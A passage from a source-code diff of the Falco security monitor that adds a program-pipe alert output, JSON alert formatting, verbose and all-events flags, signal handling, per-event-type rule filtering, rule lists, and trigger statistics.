-include_directories(${PROJECT_SOURCE_DIR}/../sysdig/userspace/libscap)
-include_directories(${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp)
+include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libscap")
+include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp")
 include_directories("${PROJECT_BINARY_DIR}/userspace/falco")
 include_directories("${CURL_INCLUDE_DIR}")
 include_directories("${YAMLCPP_INCLUDE_DIR}")
-include_directories(${DRAIOS_DEPENDENCIES_DIR}/yaml-${DRAIOS_YAML_VERSION}/target/include)
+include_directories("${DRAIOS_DEPENDENCIES_DIR}/yaml-${DRAIOS_YAML_VERSION}/target/include")
 
 add_executable(falco configuration.cpp formats.cpp fields.cpp rules.cpp logger.cpp falco.cpp)
 

userspace/falco/configuration.cpp

@@ -54,6 +54,20 @@ void falco_configuration::init(string conf_filename, std::list<std::string> &cmd
 		m_outputs.push_back(syslog_output);
 	}
 
+	output_config program_output;
+	program_output.name = "program";
+	if (m_config->get_scalar<bool>("program_output", "enabled", false))
+	{
+		string program;
+		program = m_config->get_scalar<string>("program_output", "program", "");
+		if (program == string(""))
+		{
+			throw sinsp_exception("Error reading config file (" + m_config_file + "): program output enabled but no program in configuration block");
+		}
+		program_output.options["program"] = program;
+		m_outputs.push_back(program_output);
+	}
+
 	if (m_outputs.size() == 0)
 	{
 		throw sinsp_exception("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block");

userspace/falco/falco.cpp

@@ -28,6 +28,14 @@ extern "C" {
 #include "utils.h"
 #include <yaml-cpp/yaml.h>
 
+bool g_terminate = false;
+//
+// Helper functions
+//
+static void signal_callback(int signal)
+{
+	g_terminate = true;
+}
 
 //
 // Program help
@@ -47,6 +55,8 @@ static void usage()
            " -r <rules_file>               Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
 	   " -L                            Show the name and description of all rules and exit.\n"
 	   " -l <rule>                     Show the name and description of the rule with name <rule> and exit.\n"
+	   " -v                            Verbose output.\n"
+	   " -A                            Monitor all events, including those with EF_DROP_FALCO flag.\n"
 	   "\n"
     );
 }
@@ -67,6 +77,7 @@ static void display_fatal_err(const string &msg, bool daemon)
 
 string lua_on_event = "on_event";
 string lua_add_output = "add_output";
+string lua_print_stats = "print_stats";
 
 // Splitting into key=value or key.subkey=value will be handled by configuration class.
 std::list<string> cmdline_options;
@@ -90,7 +101,11 @@ void do_inspect(sinsp* inspector,
 
 		res = inspector->next(&ev);
 
-		if(res == SCAP_TIMEOUT)
+		if (g_terminate)
+		{
+			break;
+		}
+		else if(res == SCAP_TIMEOUT)
 		{
 			continue;
 		}
@@ -199,6 +214,26 @@ void add_output(lua_State *ls, output_config oc)
 
 }
 
+// Print statistics on the the rules that triggered
+void print_stats(lua_State *ls)
+{
+	lua_getglobal(ls, lua_print_stats.c_str());
+
+	if(lua_isfunction(ls, -1))
+	{
+		if(lua_pcall(ls, 0, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(ls, -1);
+			string err = "Error invoking function print_stats: " + string(lerr);
+			throw sinsp_exception(err);
+		}
+	}
+	else
+	{
+		throw sinsp_exception("No function " + lua_print_stats + " found in lua rule loader module");
+	}
+
+}
 
 //
 // ARGUMENT PARSING AND PROGRAM SETUP
@@ -209,7 +244,6 @@ int falco_init(int argc, char **argv)
 	sinsp* inspector = NULL;
 	falco_rules* rules = NULL;
 	int op;
-	sinsp_evt::param_fmt event_buffer_format;
 	int long_index = 0;
 	string lua_main_filename;
 	string scap_filename;
@@ -221,6 +255,8 @@ int falco_init(int argc, char **argv)
 	string pidfilename = "/var/run/falco.pid";
 	bool describe_all_rules = false;
 	string describe_rule = "";
+	bool verbose = false;
+	bool all_events = false;
 
 	static struct option long_options[] =
 	{
@@ -240,7 +276,7 @@ int falco_init(int argc, char **argv)
 		// Parse the args
 		//
 		while((op = getopt_long(argc, argv,
-                                        "c:ho:e:r:dp:Ll:",
+                                        "c:ho:e:r:dp:Ll:vA",
                                         long_options, &long_index)) != -1)
 		{
 			switch(op)
@@ -269,6 +305,12 @@ int falco_init(int argc, char **argv)
 			case 'L':
 				describe_all_rules = true;
 				break;
+			case 'v':
+				verbose = true;
+				break;
+			case 'A':
+				all_events = true;
+				break;
 			case 'l':
 				describe_rule = optarg;
 				break;
@@ -358,15 +400,18 @@ int falco_init(int argc, char **argv)
 
 		rules = new falco_rules(inspector, ls, lua_main_filename);
 
-		falco_formats::init(inspector, ls);
+		falco_formats::init(inspector, ls, config.m_json_output);
 		falco_fields::init(inspector, ls);
 
 		falco_logger::init(ls);
+		falco_rules::init(ls);
 
 
-		inspector->set_drop_event_flags(EF_DROP_FALCO);
-		rules->load_rules(config.m_rules_filename);
-		inspector->set_filter(rules->get_filter());
+		if(!all_events)
+		{
+			inspector->set_drop_event_flags(EF_DROP_FALCO);
+		}
+		rules->load_rules(config.m_rules_filename, verbose, all_events);
 		falco_logger::log(LOG_INFO, "Parsed rules from file " + config.m_rules_filename + "\n");
 
 		if (describe_all_rules)
@@ -383,21 +428,25 @@ int falco_init(int argc, char **argv)
 
 		inspector->set_hostname_and_port_resolution_mode(false);
 
-		if (config.m_json_output)
-		{
-			event_buffer_format = sinsp_evt::PF_JSON;
-		}
-		else
-		{
-			event_buffer_format = sinsp_evt::PF_NORMAL;
-		}
-		inspector->set_buffer_format(event_buffer_format);
-
 		for(std::vector<output_config>::iterator it = config.m_outputs.begin(); it != config.m_outputs.end(); ++it)
 		{
 			add_output(ls, *it);
 		}
 
+		if(signal(SIGINT, signal_callback) == SIG_ERR)
+		{
+			fprintf(stderr, "An error occurred while setting SIGINT signal handler.\n");
+			result = EXIT_FAILURE;
+			goto exit;
+		}
+
+		if(signal(SIGTERM, signal_callback) == SIG_ERR)
+		{
+			fprintf(stderr, "An error occurred while setting SIGTERM signal handler.\n");
+			result = EXIT_FAILURE;
+			goto exit;
+		}
+
 		if (scap_filename.size())
 		{
 			inspector->open(scap_filename);
@@ -406,7 +455,7 @@ int falco_init(int argc, char **argv)
 		{
 			try
 			{
-				inspector->open();
+				inspector->open(200);
 			}
 			catch(sinsp_exception e)
 			{
@@ -478,6 +527,8 @@ int falco_init(int argc, char **argv)
 			   ls);
 
 		inspector->close();
+
+		print_stats(ls);
 	}
 	catch(sinsp_exception& e)
 	{
@@ -494,10 +545,7 @@ int falco_init(int argc, char **argv)
 
 exit:
 
-	if(inspector)
-	{
-		delete inspector;
-	}
+	delete inspector;
 
 	if(ls)
 	{

userspace/falco/formats.cpp

@@ -1,8 +1,11 @@
+#include <json/json.h>
+
 #include "formats.h"
 #include "logger.h"
 
 
 sinsp* falco_formats::s_inspector = NULL;
+bool s_json_output = false;
 
 const static struct luaL_reg ll_falco [] =
 {
@@ -11,9 +14,10 @@ const static struct luaL_reg ll_falco [] =
 	{NULL,NULL}
 };
 
-void falco_formats::init(sinsp* inspector, lua_State *ls)
+void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output)
 {
 	s_inspector = inspector;
+	s_json_output = json_output;
 
 	luaL_openlib(ls, "falco", ll_falco, 0);
 }
@@ -42,15 +46,53 @@ int falco_formats::format_event (lua_State *ls)
 {
 	string line;
 
-	if (!lua_islightuserdata(ls, -1) || !lua_islightuserdata(ls, -2)) {
+	if (!lua_islightuserdata(ls, -1) ||
+	    !lua_isstring(ls, -2) ||
+	    !lua_isstring(ls, -3) ||
+	    !lua_islightuserdata(ls, -4)) {
 		falco_logger::log(LOG_ERR, "Invalid arguments passed to format_event()\n");
 		throw sinsp_exception("format_event error");
 	}
 	sinsp_evt* evt = (sinsp_evt*)lua_topointer(ls, 1);
-	sinsp_evt_formatter* formatter = (sinsp_evt_formatter*)lua_topointer(ls, 2);
+	const char *rule = (char *) lua_tostring(ls, 2);
+	const char *level = (char *) lua_tostring(ls, 3);
+	sinsp_evt_formatter* formatter = (sinsp_evt_formatter*)lua_topointer(ls, 4);
 
 	formatter->tostring(evt, &line);
 
+	// For JSON output, the formatter returned just the output
+	// string containing the format text and values. Use this to
+	// build a more detailed object containing the event time,
+	// rule, severity, full output, and fields.
+	if (s_json_output) {
+		Json::Value event;
+		Json::FastWriter writer;
+
+		// Convert the time-as-nanoseconds to a more json-friendly ISO8601.
+		time_t evttime = evt->get_ts()/1000000000;
+		char time_sec[20]; // sizeof "YYYY-MM-DDTHH:MM:SS"
+		char time_ns[12]; // sizeof ".sssssssssZ"
+		string iso8601evttime;
+
+		strftime(time_sec, sizeof(time_sec), "%FT%T", gmtime(&evttime));
+		snprintf(time_ns, sizeof(time_ns), ".%09luZ", evt->get_ts() % 1000000000);
+		iso8601evttime = time_sec;
+		iso8601evttime += time_ns;
+		event["time"] = iso8601evttime;
+		event["rule"] = rule;
+		event["priority"] = level;
+		event["output"] = line;
+
+		line = writer.write(event);
+
+		// Json::FastWriter may add a trailing newline. If it
+		// does, remove it.
+		if (line[line.length()-1] == '\n')
+		{
+			line.resize(line.length()-1);
+		}
+	}
+
 	lua_pushstring(ls, line.c_str());
 	return 1;
 }

userspace/falco/formats.h

@@ -13,7 +13,7 @@ class sinsp_evt_formatter;
 class falco_formats
 {
  public:
-	static void init(sinsp* inspector, lua_State *ls);
+	static void init(sinsp* inspector, lua_State *ls, bool json_output);
 
 	// formatter = falco.formatter(format_string)
 	static int formatter(lua_State *ls);

userspace/falco/lua/compiler.lua

@@ -1,6 +1,18 @@
 local parser = require("parser")
 local compiler = {}
 
+compiler.verbose = false
+compiler.all_events = false
+
+function compiler.set_verbose(verbose)
+   compiler.verbose = verbose
+   parser.set_verbose(verbose)
+end
+
+function compiler.set_all_events(all_events)
+   compiler.all_events = all_events
+end
+
 function map(f, arr)
    local res = {}
    for i,v in ipairs(arr) do
@@ -153,10 +165,111 @@ function check_for_ignored_syscalls_events(ast, filter_type, source)
       end
    end
 
-   parser.traverse_ast(ast, "BinaryRelOp", cb)
+   parser.traverse_ast(ast, {BinaryRelOp=1}, cb)
 end
 
-function compiler.compile_macro(line)
+-- Examine the ast and find the event types for which the rule should
+-- run. All evt.type references are added as event types up until the
+-- first "!=" binary operator or unary not operator. If no event type
+-- checks are found afterward in the rule, the rule is considered
+-- optimized and is associated with the event type(s).
+--
+-- Otherwise, the rule is associated with a 'catchall' category and is
+-- run for all event types. (Also, a warning is printed).
+--
+
+function get_evttypes(name, ast, source)
+
+   local evttypes = {}
+   local evtnames = {}
+   local found_event = false
+   local found_not = false
+   local found_event_after_not = false
+
+   function cb(node)
+     if node.type == "UnaryBoolOp" then
+	if node.operator == "not" then
+	   found_not = true
+	end
+     else
+	 if node.operator == "!=" then
+	    found_not = true
+	 end
+	 if node.left.type == "FieldName" and node.left.value == "evt.type" then
+	    found_event = true
+	    if found_not then
+	       found_event_after_not = true
+	    end
+	    if node.operator == "in" then
+	       for i, v in ipairs(node.right.elements) do
+		  if v.type == "BareString" then
+		     evtnames[v.value] = 1
+		     for id in string.gmatch(events[v.value], "%S+") do
+			evttypes[id] = 1
+		     end
+		  end
+	       end
+	    else
+	       if node.right.type == "BareString" then
+		  evtnames[node.right.value] = 1
+		  for id in string.gmatch(events[node.right.value], "%S+") do
+		     evttypes[id] = 1
+		  end
+	       end
+	    end
+	 end
+      end
+   end
+
+   parser.traverse_ast(ast.filter.value, {BinaryRelOp=1, UnaryBoolOp=1} , cb)
+
+   if not found_event then
+      io.stderr:write("Rule "..name..": warning (no-evttype):\n")
+      io.stderr:write(source.."\n")
+      io.stderr:write("         did not contain any evt.type restriction, meaning it will run for all event types.\n")
+      io.stderr:write("         This has a significant performance penalty. Consider adding an evt.type restriction if possible.\n")
+      evttypes = {}
+      evtnames = {}
+   end
+
+   if found_event_after_not then
+      io.stderr:write("Rule "..name..": warning (trailing-evttype):\n")
+      io.stderr:write(source.."\n")
+      io.stderr:write("         does not have all evt.type restrictions at the beginning of the condition,\n")
+      io.stderr:write("         or uses a negative match (i.e. \"not\"/\"!=\") for some evt.type restriction.\n")
+      io.stderr:write("         This has a performance penalty, as the rule can not be limited to specific event types.\n")
+      io.stderr:write("         Consider moving all evt.type restrictions to the beginning of the rule and/or\n")
+      io.stderr:write("         replacing negative matches with positive matches if possible.\n")
+      evttypes = {}
+      evtnames = {}
+   end
+
+   evtnames_only = {}
+   local num_evtnames = 0
+   for name, dummy in pairs(evtnames) do
+      table.insert(evtnames_only, name)
+      num_evtnames = num_evtnames + 1
+   end
+
+   if num_evtnames == 0 then
+      table.insert(evtnames_only, "all")
+   end
+
+   table.sort(evtnames_only)
+
+   if compiler.verbose then
+      io.stderr:write("Event types for rule "..name..": "..table.concat(evtnames_only, ",").."\n")
+   end
+
+   return evttypes
+end
+
+function compiler.compile_macro(line, list_defs)
+
+   for name, items in pairs(list_defs) do
+      line = string.gsub(line, name, table.concat(items, ", "))
+   end
+
    local ast, error_msg = parser.parse_filter(line)
 
    if (error_msg) then
@@ -166,7 +279,9 @@ function compiler.compile_macro(line)
 
    -- Traverse the ast looking for events/syscalls in the ignored
    -- syscalls table. If any are found, return an error.
-   check_for_ignored_syscalls_events(ast, 'macro', line)
+   if not compiler.all_events then
+      check_for_ignored_syscalls_events(ast, 'macro', line)
+   end
 
    return ast
 end
@@ -174,7 +289,12 @@ end
 --[[
    Parses a single filter, then expands macros using passed-in table of definitions. Returns resulting AST.
 --]]
-function compiler.compile_filter(source, macro_defs)
+function compiler.compile_filter(name, source, macro_defs, list_defs)
+
+   for name, items in pairs(list_defs) do
+      source = string.gsub(source, name, table.concat(items, ", "))
+   end
+
    local ast, error_msg = parser.parse_filter(source)
 
    if (error_msg) then
@@ -184,7 +304,9 @@ function compiler.compile_filter(source, macro_defs)
 
    -- Traverse the ast looking for events/syscalls in the ignored
    -- syscalls table. If any are found, return an error.
-   check_for_ignored_syscalls_events(ast, 'rule', source)
+   if not compiler.all_events then
+      check_for_ignored_syscalls_events(ast, 'rule', source)
+   end
 
    if (ast.type == "Rule") then
       -- Line is a filter, so expand macro references
@@ -196,7 +318,9 @@ function compiler.compile_filter(source, macro_defs)
       error("Unexpected top-level AST type: "..ast.type)
    end
 
-   return ast
+   evttypes = get_evttypes(name, ast, source)
+
+   return ast, evttypes
 end
 
 

userspace/falco/lua/output.lua

@@ -2,12 +2,14 @@ local mod = {}
 
 levels = {"Emergency", "Alert", "Critical", "Error", "Warning", "Notice", "Informational", "Debug"}
 
+mod.levels = levels
+
 local outputs = {}
 
-function mod.stdout(evt, level, format)
+function mod.stdout(evt, rule, level, format)
    format = "*%evt.time: "..levels[level+1].." "..format
    formatter = falco.formatter(format)
-   msg = falco.format_event(evt, formatter)
+   msg = falco.format_event(evt, rule, levels[level+1], formatter)
    print (msg)
 end
 
@@ -24,26 +26,42 @@ function mod.file_validate(options)
 
 end
 
-function mod.file(evt, level, format, options)
-   format = "%evt.time: "..levels[level+1].." "..format
+function mod.file(evt, rule, level, format, options)
+   format = "*%evt.time: "..levels[level+1].." "..format
    formatter = falco.formatter(format)
-   msg = falco.format_event(evt, formatter)
+   msg = falco.format_event(evt, rule, levels[level+1], formatter)
 
    file = io.open(options.filename, "a+")
    file:write(msg, "\n")
    file:close()
 end
 
-function mod.syslog(evt, level, format)
+function mod.syslog(evt, rule, level, format)
 
    formatter = falco.formatter(format)
-   msg = falco.format_event(evt, formatter)
+   msg = falco.format_event(evt, rule, levels[level+1], formatter)
    falco.syslog(level, msg)
 end
 
-function mod.event(event, level, format)
+function mod.program(evt, rule, level, format, options)
+
+   format = "*%evt.time: "..levels[level+1].." "..format
+   formatter = falco.formatter(format)
+   msg = falco.format_event(evt, rule, levels[level+1], formatter)
+
+   -- XXX Ideally we'd check that the program ran
+   -- successfully. However, the luajit we're using returns true even
+   -- when the shell can't run the program.
+
+   file = io.popen(options.program, "w")
+
+   file:write(msg, "\n")
+   file:close()
+end
+
+function mod.event(event, rule, level, format)
    for index,o in ipairs(outputs) do
-      o.output(event, level, format, o.config)
+      o.output(event, rule, level, format, o.config)
    end
 end
 

userspace/falco/lua/parser.lua

@@ -11,6 +11,12 @@
 
 local parser = {}
 
+parser.verbose = false
+
+function parser.set_verbose(verbose)
+   parser.verbose = verbose
+end
+
 local lpeg = require "lpeg"
 
 lpeg.locale(lpeg)
@@ -236,7 +242,8 @@ local G = {
           symb("<") / "<" +
           symb(">") / ">" +
           symb("contains") / "contains" +
-          symb("icontains") / "icontains";
+          symb("icontains") / "icontains" +
+          symb("startswith") / "startswith";
   InOp = kw("in") / "in";
   UnaryBoolOp = kw("not") / "not";
   ExistsOp = kw("exists") / "exists";
@@ -296,33 +303,33 @@ parser.print_ast = print_ast
 -- have the signature:
 --     cb(ast_node, ctx)
 -- ctx is optional.
-function traverse_ast(ast, node_type, cb, ctx)
+function traverse_ast(ast, node_types, cb, ctx)
    local t = ast.type
 
-   if t == node_type then
+   if node_types[t] ~= nil then
       cb(ast, ctx)
    end
 
    if t == "Rule" then
-      traverse_ast(ast.filter, node_type, cb, ctx)
+      traverse_ast(ast.filter, node_types, cb, ctx)
 
    elseif t == "Filter" then
-      traverse_ast(ast.value, node_type, cb, ctx)
+      traverse_ast(ast.value, node_types, cb, ctx)
 
    elseif t == "BinaryBoolOp" or t == "BinaryRelOp" then
-      traverse_ast(ast.left, node_type, cb, ctx)
-      traverse_ast(ast.right, node_type, cb, ctx)
+      traverse_ast(ast.left, node_types, cb, ctx)
+      traverse_ast(ast.right, node_types, cb, ctx)
 
    elseif t == "UnaryRelOp" or t == "UnaryBoolOp" then
-      traverse_ast(ast.argument, node_type, cb, ctx)
+      traverse_ast(ast.argument, node_types, cb, ctx)
 
    elseif t == "List" then
       for i, v in ipairs(ast.elements) do
-         traverse_ast(v, node_type, cb, ctx)
+         traverse_ast(v, node_types, cb, ctx)
       end
 
    elseif t == "MacroDef" then
-      traverse_ast(ast.value, node_type, cb, ctx)
+      traverse_ast(ast.value, node_types, cb, ctx)
 
    elseif t == "FieldName" or t == "Number" or t == "String" or t == "BareString" or t == "Macro" then
       -- do nothing, no traversal needed

userspace/falco/lua/rule_loader.lua

@@ -102,23 +102,25 @@ function set_output(output_format, state)
 end
 
 local function priority(s)
-   valid_levels = {"emergency", "alert", "critical", "error", "warning", "notice", "informational", "debug"}
    s = string.lower(s)
-   for i,v in ipairs(valid_levels) do
-      if (string.find(v, "^"..s)) then
+   for i,v in ipairs(output.levels) do
+      if (string.find(string.lower(v), "^"..s)) then
 	 return i - 1 -- (syslog levels start at 0, lua indices start at 1)
       end
    end
-   error("Invalid severity level: "..level)
+   error("Invalid severity level: "..s)
 end
 
 -- Note that the rules_by_name and rules_by_idx refer to the same rule
 -- object. The by_name index is used for things like describing rules,
 -- and the by_idx index is used to map the relational node index back
 -- to a rule.
-local state = {macros={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}
+local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}
 
-function load_rules(filename)
+function load_rules(filename, rules_mgr, verbose, all_events)
+
+   compiler.set_verbose(verbose)
+   compiler.set_all_events(all_events)
 
    local f = assert(io.open(filename, "r"))
    local s = f:read("*all")
@@ -132,9 +134,28 @@ function load_rules(filename)
       end
 
       if (v['macro']) then
-	 local ast = compiler.compile_macro(v['condition'])
+	 local ast = compiler.compile_macro(v['condition'], state.lists)
 	 state.macros[v['macro']] = ast.filter.value
 
+      elseif (v['list']) then
+	 -- list items are represented in yaml as a native list, so no
+	 -- parsing necessary
+	 local items = {}
+
+	 -- List items may be references to other lists, so go through
+	 -- the items and expand any references to the items in the list
+	 for i, item in ipairs(v['items']) do
+	    if (state.lists[item] == nil) then
+	       items[#items+1] = item
+	    else
+	       for i, exp_item in ipairs(state.lists[item]) do
+		  items[#items+1] = exp_item
+	       end
+	    end
+	 end
+
+	 state.lists[v['list']] = items
+
       else -- rule
 
 	 if (v['rule'] == nil) then
@@ -151,7 +172,8 @@ function load_rules(filename)
 	 v['level'] = priority(v['priority'])
 	 state.rules_by_name[v['rule']] = v
 
-	 local filter_ast = compiler.compile_filter(v['condition'], state.macros)
+	 local filter_ast, evttypes = compiler.compile_filter(v['rule'], v['condition'],
+							      state.macros, state.lists)
 
 	 if (filter_ast.type == "Rule") then
 	    state.n_rules = state.n_rules + 1
@@ -165,6 +187,11 @@ function load_rules(filename)
 	    -- event.
 	    mark_relational_nodes(filter_ast.filter.value, state.n_rules)
 
+	    install_filter(filter_ast.filter.value)
+
+	    -- Pass the filter and event types back up
+	    falco_rules.add_filter(rules_mgr, evttypes)
+
 	    -- Rule ASTs are merged together into one big AST, with "OR" between each
 	    -- rule.
 	    if (state.filter_ast == nil) then
@@ -178,7 +205,6 @@ function load_rules(filename)
       end
    end
 
-   install_filter(state.filter_ast)
    io.flush()
 end
 
@@ -230,12 +256,51 @@ function describe_rule(name)
    end
 end
 
+local rule_output_counts = {total=0, by_level={}, by_name={}}
+
+for idx=0,table.getn(output.levels)-1,1 do
+   rule_output_counts.by_level[idx] = 0
+end
+
 function on_event(evt_, rule_id)
 
    if state.rules_by_idx[rule_id] == nil then
       error ("rule_loader.on_event(): event with invalid rule_id: ", rule_id)
    end
 
-   output.event(evt_, state.rules_by_idx[rule_id].level, state.rules_by_idx[rule_id].output)
+   rule_output_counts.total = rule_output_counts.total + 1
+   local rule = state.rules_by_idx[rule_id]
+
+   if rule_output_counts.by_level[rule.level] == nil then
+      rule_output_counts.by_level[rule.level] = 1
+   else
+      rule_output_counts.by_level[rule.level] = rule_output_counts.by_level[rule.level] + 1
+   end
+
+   if rule_output_counts.by_name[rule.rule] == nil then
+      rule_output_counts.by_name[rule.rule] = 1
+   else
+      rule_output_counts.by_name[rule.rule] = rule_output_counts.by_name[rule.rule] + 1
+   end
+
+   output.event(evt_, rule.rule, rule.level, rule.output)
 end
 
+function print_stats()
+   print("Events detected: "..rule_output_counts.total)
+   print("Rule counts by severity:")
+   for idx, level in ipairs(output.levels) do
+      -- To keep the output concise, we only print 0 counts for error, warning, and info levels
+      if rule_output_counts.by_level[idx-1] > 0 or level == "Error" or level == "Warning" or level == "Informational" then
+	 print ("   "..level..": "..rule_output_counts.by_level[idx-1])
+      end
+   end
+
+   print("Triggered rules by rule name:")
+   for name, count in pairs(rule_output_counts.by_name) do
+      print ("   "..name..": "..count)
+   end
+end
+
+
+

userspace/falco/rules.cpp

@@ -1,4 +1,5 @@
 #include "rules.h"
+#include "logger.h"
 
 extern "C" {
 #include "lua.h"
@@ -6,6 +7,11 @@ extern "C" {
 #include "lauxlib.h"
 }
 
+const static struct luaL_reg ll_falco_rules [] =
+{
+	{"add_filter", &falco_rules::add_filter},
+	{NULL,NULL}
+};
 
 falco_rules::falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename)
 {
@@ -17,6 +23,48 @@ falco_rules::falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filena
 	load_compiler(lua_main_filename);
 }
 
+void falco_rules::init(lua_State *ls)
+{
+	luaL_openlib(ls, "falco_rules", ll_falco_rules, 0);
+}
+
+int falco_rules::add_filter(lua_State *ls)
+{
+	if (! lua_islightuserdata(ls, -2) ||
+	    ! lua_istable(ls, -1))
+	{
+		falco_logger::log(LOG_ERR, "Invalid arguments passed to add_filter()\n");
+		throw sinsp_exception("add_filter error");
+	}
+
+	falco_rules *rules = (falco_rules *) lua_topointer(ls, -2);
+
+	list<uint32_t> evttypes;
+
+	lua_pushnil(ls);  /* first key */
+	while (lua_next(ls, -2) != 0) {
+                // key is at index -2, value is at index
+                // -1. We want the keys.
+		evttypes.push_back(luaL_checknumber(ls, -2));
+
+		// Remove value, keep key for next iteration
+		lua_pop(ls, 1);
+	}
+
+	rules->add_filter(evttypes);
+
+	return 0;
+}
+
+void falco_rules::add_filter(list<uint32_t> &evttypes)
+{
+	// While the current rule was being parsed, a sinsp_filter
+	// object was being populated by lua_parser. Grab that filter
+	// and pass it to the inspector.
+	sinsp_filter *filter = m_lua_parser->get_filter(true);
+
+	m_inspector->add_evttype_filter(evttypes, filter);
+}
 
 void falco_rules::load_compiler(string lua_main_filename)
 {
@@ -40,18 +88,47 @@ void falco_rules::load_compiler(string lua_main_filename)
 	}
 }
 
-void falco_rules::load_rules(string rules_filename)
+void falco_rules::load_rules(string rules_filename, bool verbose, bool all_events)
 {
 	lua_getglobal(m_ls, m_lua_load_rules.c_str());
 	if(lua_isfunction(m_ls, -1))
 	{
+		// Create a table containing all events, so they can
+		// be mapped to event ids.
+		sinsp_evttables* einfo = m_inspector->get_event_info_tables();
+		const struct ppm_event_info* etable = einfo->m_event_info;
+		const struct ppm_syscall_desc* stable = einfo->m_syscall_info_table;
+
+		map<string,string> events_by_name;
+		for(uint32_t j = 0; j < PPM_EVENT_MAX; j++)
+		{
+			auto it = events_by_name.find(etable[j].name);
+
+			if (it == events_by_name.end()) {
+				events_by_name[etable[j].name] = to_string(j);
+			} else {
+				string cur = it->second;
+				cur += " ";
+				cur += to_string(j);
+				events_by_name[etable[j].name] = cur;
+			}
+		}
+
+		lua_newtable(m_ls);
+
+		for( auto kv : events_by_name)
+		{
+			lua_pushstring(m_ls, kv.first.c_str());
+			lua_pushstring(m_ls, kv.second.c_str());
+			lua_settable(m_ls, -3);
+		}
+
+		lua_setglobal(m_ls, m_lua_events.c_str());
+
 		// Create a table containing the syscalls/events that
 		// are ignored by the kernel module. load_rules will
 		// return an error if any rule references one of these
 		// syscalls/events.
-		sinsp_evttables* einfo = m_inspector->get_event_info_tables();
-		const struct ppm_event_info* etable = einfo->m_event_info;
-		const struct ppm_syscall_desc* stable = einfo->m_syscall_info_table;
 
 		lua_newtable(m_ls);
 
@@ -82,7 +159,10 @@ void falco_rules::load_rules(string rules_filename)
 		lua_setglobal(m_ls, m_lua_ignored_syscalls.c_str());
 
 		lua_pushstring(m_ls, rules_filename.c_str());
-		if(lua_pcall(m_ls, 1, 0, 0) != 0)
+		lua_pushlightuserdata(m_ls, this);
+		lua_pushboolean(m_ls, (verbose ? 1 : 0));
+		lua_pushboolean(m_ls, (all_events ? 1 : 0));
+		if(lua_pcall(m_ls, 4, 0, 0) != 0)
 		{
 			const char* lerr = lua_tostring(m_ls, -1);
 			string err = "Error loading rules:" + string(lerr);

userspace/falco/rules.h

@@ -1,5 +1,7 @@
 #pragma once
 
+#include <list>
+
 #include "sinsp.h"
 #include "lua_parser.h"
 
@@ -8,13 +10,18 @@ class falco_rules
  public:
 	falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename);
 	~falco_rules();
-	void load_rules(string rules_filename);
+	void load_rules(string rules_filename, bool verbose, bool all_events);
 	void describe_rule(string *rule);
 	sinsp_filter* get_filter();
 
+	static void init(lua_State *ls);
+	static int add_filter(lua_State *ls);
+
  private:
 	void load_compiler(string lua_main_filename);
 
+	void add_filter(list<uint32_t> &evttypes);
+
 	lua_parser* m_lua_parser;
 	sinsp* m_inspector;
 	lua_State* m_ls;
@@ -22,6 +29,7 @@ class falco_rules
 	string m_lua_load_rules = "load_rules";
 	string m_lua_ignored_syscalls = "ignored_syscalls";
 	string m_lua_ignored_events = "ignored_events";
+	string m_lua_events = "events";
 	string m_lua_on_event = "on_event";
 	string m_lua_describe_rule = "describe_rule";
 };